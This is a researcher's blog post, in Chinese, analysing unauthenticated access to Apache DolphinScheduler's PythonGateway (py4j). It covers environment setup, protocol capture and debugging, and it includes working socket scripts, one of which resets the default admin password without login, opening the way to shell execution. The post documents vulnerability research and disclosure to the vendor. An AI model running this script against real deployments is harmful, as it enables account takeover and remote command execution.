前言
挺早之前有个Apache DolphinScheduler 任意文件读取漏洞,之前有看过这个,后面又有好兄弟问我,就研究了一下。本来简单的diff了一下,以为发现了问题,但是事情没有我想的那么简单~
漏洞分析
diff分析
看到漏洞是在2.0.6修复的,我们切换到该分支
看到这里增加了资源中心的检查,应该就是这里了。
增加了文件校验,这个类继承了resourcesService,看下谁使用了。
emm,ResourcesController.java 使用了这个类,直接跟进去,
哈哈,被逮到了吧,但是逛了一圈,发现都是需要登录权限的,这和官方通知的未授权不一样呀。顿时没了思路。
再翻一翻,看什么地方使用了ResourcesService
发现在PythonGateway.java中使用了 ,但是并不知道这里PythonGateway实现什么功能,只能翻翻文档了
https://dolphinscheduler.apache.org/python/main/index.html
是一个Python Api,文档中还给了快速开始的方法。
看来还是不能图懒。搭建环境吧。
环境搭建
参考官方的docker 快速搭建
https://dolphinscheduler.apache.org/en-us/docs/latest/user_doc/guide/start/docker.html
使用下面镜像
https://hub.docker.com/search?q=dolphinscheduler
使用如下的tag
5个月之前,漏洞还存在。
docker 命令如下
docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d 镜像id
9898 是我后面加上的,为了后面的调试
之后将容器中的
/opt/dolphinscheduler/bin/start.sh
JAVA_OPTS 配置修改成如下,加上调试
JAVA_OPTS=${JAVA_OPTS:-"-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
然后重启镜像即可
PythonGateway使用
进入官方说明文档
https://dolphinscheduler.apache.org/python/dev/start.html
看到要先安装PyDolphinScheduler
我们运行下,这里说明下
配置中默认链接ip是127.0.0.1(通过报错也知道25333就是PythonGateway的对外端口),所以如果是虚拟机搭建的换还得重新配置目标ip
命令如下:
pydolphinscheduler config --init
pydolphinscheduler config --set java_gateway.address <YOUR-API-SERVER-IP-OR-HOSTNAME>
运行案例,还是报错了
emmm,还是调试来看吧
在py4j.commands.CallCommand#execute 加上断点。
跟进看为什么报错吧
org.apache.dolphinscheduler.api.python.PythonGateway 中没有参数为3个的getCodeAndVersion方法,
emmm 只有两个的。
可惜我半天没有找到怎么在python脚本中构造调用方法,但是在代码中看数据构造比较简单,就是一个reader,我们尝试构造数据包。
数据包构造
再次运行python脚本,用wireshark抓包看下
这里看着构造还是比较简单的,
首先进入了py4j.GatewayConnection#run
发现如果this.authCommand 存在则判断是否校验过权限
但是这里不存在authCommand ,搜了一下,如果以默认方式启动py4j是没有安全权限校验的,如果启动方式如下:
JavaGateway(gateway_parameters=GatewayParameters(port=11111,auth_token="HelloWorld"))
则会加上auth_token校验。
在py4j.Protocol#getObject 中,我们可以看到不同类型参数数据的构造
如果是字符型,在字符前加上一个s就行,int类型则是i,其他类型相对应的构造即可
接着在py4j.commands.AbstractCommand#invokeMethod 中便根据方法名及参数进行调用
根据wireshark抓的包,我们构造python脚本如下:
import socket
client = socket.socket()
client.connect(('192.168.58.128',25333))
data = '''c
t
getCodeAndVersion
sproject-pydolphin
sHttp
stask
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())
成功请求,
改下请求参数的数量
成功调用功能。
调用栈如下:
getCodeAndVersion:167, PythonGateway (org.apache.dolphinscheduler.api.python)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:244, MethodInvoker (py4j.reflection)
invoke:357, ReflectionEngine (py4j.reflection)
invoke:282, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)
漏洞再分析
下面来调用getResourcesFileInfo
这是仔细看了下这里的功能,并不是根据fullName来找文件,而是先获取文件列表再根据fullName找到相应文件,这里并不是漏洞点,感情跟了半天跟歪了。。。。。。。。。。。。。。。
再在github中往上翻翻提交记录
果然跟歪了,思考了半天人生。
但是我这里跟的地方是否在最新版也存在同样的问题呢?
在最新版果然也没有加上登录凭证,这里在新版也存在安全问题。。。
漏洞利用
看下此处后续有什么利用的方法,在最新版中发现存在修改用户信息的功能,这个项目默认存在一个admin账户,尝试修改下账户用户名密码
构造数据包如下,
import socket
client = socket.socket()
client.connect(('192.168.58.128',25333))#Destination ip address and port number
data = '''c
t
updateUser
sadmin
sdolphinscheduler1234
stest@qq.com
s17823336543
stest
stest
i1
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())
使用admin/dolphinscheduler1234 成功进入管理员后台,管理员信息已经更新了。
由于这是个任务调度平台,多种执行命令的方式,我们可以执行任意shell脚本
漏洞修复
发现这个问题后我提交给官方了,一周后漏洞修复了,心里美滋滋以为收获一发CVE,结果一直没消息,等了一个月后又发了邮件,回复如下:
明明是我先提再修的,嘤嘤嘤,想申请个CVE可真难。
最新版已经加上了authToken了。